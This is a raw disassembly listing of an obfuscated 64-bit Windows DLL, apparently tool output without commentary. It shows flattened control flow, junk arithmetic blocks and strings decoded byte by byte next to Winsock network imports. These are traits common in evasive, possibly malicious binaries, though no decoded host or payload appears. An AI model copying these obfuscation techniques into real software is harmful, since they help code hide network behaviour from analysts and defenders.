imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc5b0
mov dword [rsp + 0x40], 0x2f
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x1c], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc6a9
cmp edx, 0x66a53b08
jne 0x1800bc640
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc672
cmp ecx, 0x9dbef50
jne 0x1800bc660
jmp 0x1800bc679
mov ecx, 0x9dbef50
jmp 0x1800bc660
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc640
mov dword [rsp + 0x40], pe_nt_image_headers64
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x1e], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc739
cmp edx, 0x66a53b08
jne 0x1800bc6d0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc702
cmp ecx, 0x9dbef50
jne 0x1800bc6f0
jmp 0x1800bc709
mov ecx, 0x9dbef50
jmp 0x1800bc6f0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc6d0
mov dword [rsp + 0x40], 0x2d
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x20], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc7c9
cmp edx, 0x66a53b08
jne 0x1800bc760
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc792
cmp ecx, 0x9dbef50
jne 0x1800bc780
jmp 0x1800bc799
mov ecx, 0x9dbef50
jmp 0x1800bc780
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc760
mov dword [rsp + 0x40], 0x77
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x22], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc859
cmp edx, 0x66a53b08
jne 0x1800bc7f0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc822
cmp ecx, 0x9dbef50
jne 0x1800bc810
jmp 0x1800bc829
mov ecx, 0x9dbef50
jmp 0x1800bc810
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc7f0
mov dword [rsp + 0x40], 0x77
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x24], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc8e9
cmp edx, 0x66a53b08
jne 0x1800bc880
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc8b2
cmp ecx, 0x9dbef50
jne 0x1800bc8a0
jmp 0x1800bc8b9
mov ecx, 0x9dbef50
jmp 0x1800bc8a0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc880
mov dword [rsp + 0x40], 0x77
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x26], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bc979
cmp edx, 0x66a53b08
jne 0x1800bc910
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc942
cmp ecx, 0x9dbef50
jne 0x1800bc930
jmp 0x1800bc949
mov ecx, 0x9dbef50
jmp 0x1800bc930
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc910
mov dword [rsp + 0x40], 0x2d
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x28], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bca09
cmp edx, 0x66a53b08
jne 0x1800bc9a0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bc9d2
cmp ecx, 0x9dbef50
jne 0x1800bc9c0
jmp 0x1800bc9d9
mov ecx, 0x9dbef50
jmp 0x1800bc9c0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bc9a0
mov dword [rsp + 0x40], 0x66
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x2a], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bca99
cmp edx, 0x66a53b08
jne 0x1800bca30
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bca62
cmp ecx, 0x9dbef50
jne 0x1800bca50
jmp 0x1800bca69
mov ecx, 0x9dbef50
jmp 0x1800bca50
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bca30
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x2c], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bcb29
cmp edx, 0x66a53b08
jne 0x1800bcac0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcaf2
cmp ecx, 0x9dbef50
jne 0x1800bcae0
jmp 0x1800bcaf9
mov ecx, 0x9dbef50
jmp 0x1800bcae0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcac0
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x2e], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bcbb9
cmp edx, 0x66a53b08
jne 0x1800bcb50
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcb82
cmp ecx, 0x9dbef50
jne 0x1800bcb70
jmp 0x1800bcb89
mov ecx, 0x9dbef50
jmp 0x1800bcb70
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcb50
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x30], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bcc49
cmp edx, 0x66a53b08
jne 0x1800bcbe0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcc12
cmp ecx, 0x9dbef50
jne 0x1800bcc00
jmp 0x1800bcc19
mov ecx, 0x9dbef50
jmp 0x1800bcc00
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcbe0
mov dword [rsp + 0x40], 0x2d
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x32], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bccd9
cmp edx, 0x66a53b08
jne 0x1800bcc70
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcca2
cmp ecx, 0x9dbef50
jne 0x1800bcc90
jmp 0x1800bcca9
mov ecx, 0x9dbef50
jmp 0x1800bcc90
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcc70
mov dword [rsp + 0x40], 0x75
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x34], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bcd69
cmp edx, 0x66a53b08
jne 0x1800bcd00
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcd32
cmp ecx, 0x9dbef50
jne 0x1800bcd20
jmp 0x1800bcd39
mov ecx, 0x9dbef50
jmp 0x1800bcd20
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcd00
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x36], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bcdf9
cmp edx, 0x66a53b08
jne 0x1800bcd90
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcdc2
cmp ecx, 0x9dbef50
jne 0x1800bcdb0
jmp 0x1800bcdc9
mov ecx, 0x9dbef50
jmp 0x1800bcdb0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcd90
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x38], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bce89
cmp edx, 0x66a53b08
jne 0x1800bce20
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bce52
cmp ecx, 0x9dbef50
jne 0x1800bce40
jmp 0x1800bce59
mov ecx, 0x9dbef50
jmp 0x1800bce40
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bce20
mov dword [rsp + 0x40], 0x65
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x3a], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bcf19
cmp edx, 0x66a53b08
jne 0x1800bceb0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcee2
cmp ecx, 0x9dbef50
jne 0x1800bced0
jmp 0x1800bcee9
mov ecx, 0x9dbef50
jmp 0x1800bced0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bceb0
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x3c], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bcfa9
cmp edx, 0x66a53b08
jne 0x1800bcf40
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bcf72
cmp ecx, 0x9dbef50
jne 0x1800bcf60
jmp 0x1800bcf79
mov ecx, 0x9dbef50
jmp 0x1800bcf60
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcf40
mov dword [rsp + 0x40], 0x63
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x3e], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bd039
cmp edx, 0x66a53b08
jne 0x1800bcfd0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bd002
cmp ecx, 0x9dbef50
jne 0x1800bcff0
jmp 0x1800bd009
mov ecx, 0x9dbef50
jmp 0x1800bcff0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bcfd0
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x40], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bd0c9
cmp edx, 0x66a53b08
jne 0x1800bd060
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bd092
cmp ecx, 0x9dbef50
jne 0x1800bd080
jmp 0x1800bd099
mov ecx, 0x9dbef50
jmp 0x1800bd080
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bd060
mov dword [rsp + 0x40], 0x64
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x42], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bd159
cmp edx, 0x66a53b08
jne 0x1800bd0f0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bd122
cmp ecx, 0x9dbef50
jne 0x1800bd110
jmp 0x1800bd129
mov ecx, 0x9dbef50
jmp 0x1800bd110
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bd0f0
mov dword [rsp + 0x40], 0x65
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x44], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800bd1e9
cmp edx, 0x66a53b08
jne 0x1800bd180
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800bd1b2
cmp ecx, 0x9dbef50
jne 0x1800bd1a0
jmp 0x1800bd1b9
mov ecx, 0x9dbef50
jmp 0x1800bd1a0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800bd180
mov dword [rsp + 0x40], 0x64
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0x46], dx
mov word [rax + 0x48], 0
lea rcx, [rsp + 0x1f8]
call fcn.1800c1b20
lea rcx, [rsp + 0x2d0]
mov rdx, rax
call fcn.1800ae920
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xe8], rbx
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x60], rbx
mov rax, qword [rsp + 0x60]
mov byte [rax], 0x3b
mov rsi, qword [rsp + 0x60]
mov ecx, 0x94229d39
nop dword [rax + rax]
cmp ecx, 0xf17454d2
je 0x1800bd281
cmp ecx, 0x94229d39
jne 0x1800bd260
mov rcx, rbx
xor edx, edx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd260
mov dword [rsp + 0x298], 0x57
mov byte [rsp + 0x70], al
mov al, byte [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 1], cl
mov ecx, 0x94229d39
nop dword [rax + rax]
cmp ecx, 0xf17454d2
je 0x1800bd2e4
cmp ecx, 0x94229d39
jne 0x1800bd2c0
mov edx, 1
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd2c0
mov dword [rsp + 0x298], WSAStartup
mov byte [rsp + 0x70], al
mov al, byte [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 2], cl
mov ecx, 0x94229d39
nop dword [rax + rax]
cmp ecx, 0xf17454d2
je 0x1800bd344
cmp ecx, 0x94229d39
jne 0x1800bd320
mov edx, 2
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd320
mov dword [rsp + 0x298], WSAStartup
mov byte [rsp + 0x70], al
mov al, byte [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 3], cl
mov ecx, 0x94229d39
nop dword [rax + rax]
cmp ecx, 0xf17454d2
je 0x1800bd3a4
cmp ecx, 0x94229d39
jne 0x1800bd380
mov edx, 3
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd380
mov dword [rsp + 0x298], 0x48
mov byte [rsp + 0x70], al
mov al, byte [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 4], cl
mov ecx, 0x94229d39
nop dword [rax + rax]
cmp ecx, 0xf17454d2
je 0x1800bd404
cmp ecx, 0x94229d39
jne 0x1800bd3e0
mov edx, 4
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd3e0
mov dword [rsp + 0x298], 0x74
mov byte [rsp + 0x70], al
mov al, byte [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 5], cl
add rsi, 6
mov qword [rsp + 0x58], rsi
lea rax, [0x18011f93a]
mov qword [rsp + 0x48], rax
mov eax, 0xdd9b7c9
cmp eax, 0x27319c4d
jg 0x1800bd4b0
cmp eax, 0xefded65c
je 0x1800bdbff
cmp eax, 0xdd9b7c9
jne 0x1800bd450
mov rax, qword [rsp + 0x48]
movsx edi, byte [rax]
mov ecx, 0x94229d39
nop word cs:[rax + rax]
cmp ecx, 0xf17454d2
je 0x1800bd4f8
cmp ecx, 0x94229d39
jne 0x1800bd480
mov edx, 5
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd480
cmp eax, 0x27319c4e
je 0x1800bd558
cmp eax, 0x65ba63a8
jne 0x1800bd450
mov rax, qword [rsp + 0x70]
movsx esi, byte [rax]
mov ecx, 0x94229d39
nop
cmp ecx, 0xf17454d2
je 0x1800bd579
cmp ecx, 0x94229d39
jne 0x1800bd4d0
mov edx, 7
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd4d0
mov dword [rsp + 0x68], edi
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov rax, qword [rsp + 0x58]
mov byte [rax], cl
mov rdi, qword [rsp + 0x58]
mov ecx, 0x94229d39
nop
cmp ecx, 0xf17454d2
je 0x1800bd5d4
cmp ecx, 0x94229d39
jne 0x1800bd530
mov edx, 6
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd530
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rsp + 0x298]
mov eax, 0x27319c4e
mov ecx, 0xefded65c
cmove eax, ecx
jmp 0x1800bd450
mov dword [rsp + 0x68], esi
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov rax, qword [rsp + 0x40]
mov byte [rax], cl
mov rsi, qword [rsp + 0x40]
mov ecx, 0x94229d39
nop
cmp ecx, 0xf17454d2
je 0x1800bd61f
cmp ecx, 0x94229d39
jne 0x1800bd5b0
mov edx, 8
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd5b0
mov dword [rsp + 0x68], WSAStartup
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rdi + 1], cl
add rdi, 2
mov qword [rsp + 0x40], rdi
lea rax, [0x18011f93c]
mov qword [rsp + 0x70], rax
mov eax, 0x65ba63a8
jmp 0x1800bd450
mov dword [rsp + 0x68], 0x64
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 1], cl
mov ecx, 0x94229d39
cmp ecx, 0xf17454d2
je 0x1800bd674
cmp ecx, 0x94229d39
jne 0x1800bd650
mov edx, 9
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd650
mov dword [rsp + 0x68], 0x64
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 2], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd6d4
cmp ecx, 0x94229d39
jne 0x1800bd6b0
mov edx, 0xa
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd6b0
mov dword [rsp + 0x68], 0x52
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 3], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd734
cmp ecx, 0x94229d39
jne 0x1800bd710
mov edx, reloc.WS2_32.dll_inet_addr
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd710
mov dword [rsp + 0x68], 0x65
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 4], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd794
cmp ecx, 0x94229d39
jne 0x1800bd770
mov edx, 0xc
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd770
mov dword [rsp + 0x68], WSAStartup
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 5], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd7f4
cmp ecx, 0x94229d39
jne 0x1800bd7d0
mov edx, 0xd
mov rcx, rbx
call fcn.1800c3930
mov ecx, 0xf17454d2
jmp 0x1800bd7d0
mov dword [rsp + 0x68], 0x75
mov byte [rsp + 0x54], al
mov al, byte [rsp + 0x54]
mov ecx, dword [rsp + 0x68]
mov edx, ecx
and edx, 0x82
or edx, 0x65
and ecx, 0x7d
xor ecx, edx
xor cl, al
xor cl, 0x65
mov byte [rsi + 6], cl
mov ecx, 0x94229d39
nop word cs:[rax + rax]
nop
cmp ecx, 0xf17454d2
je 0x1800bd854
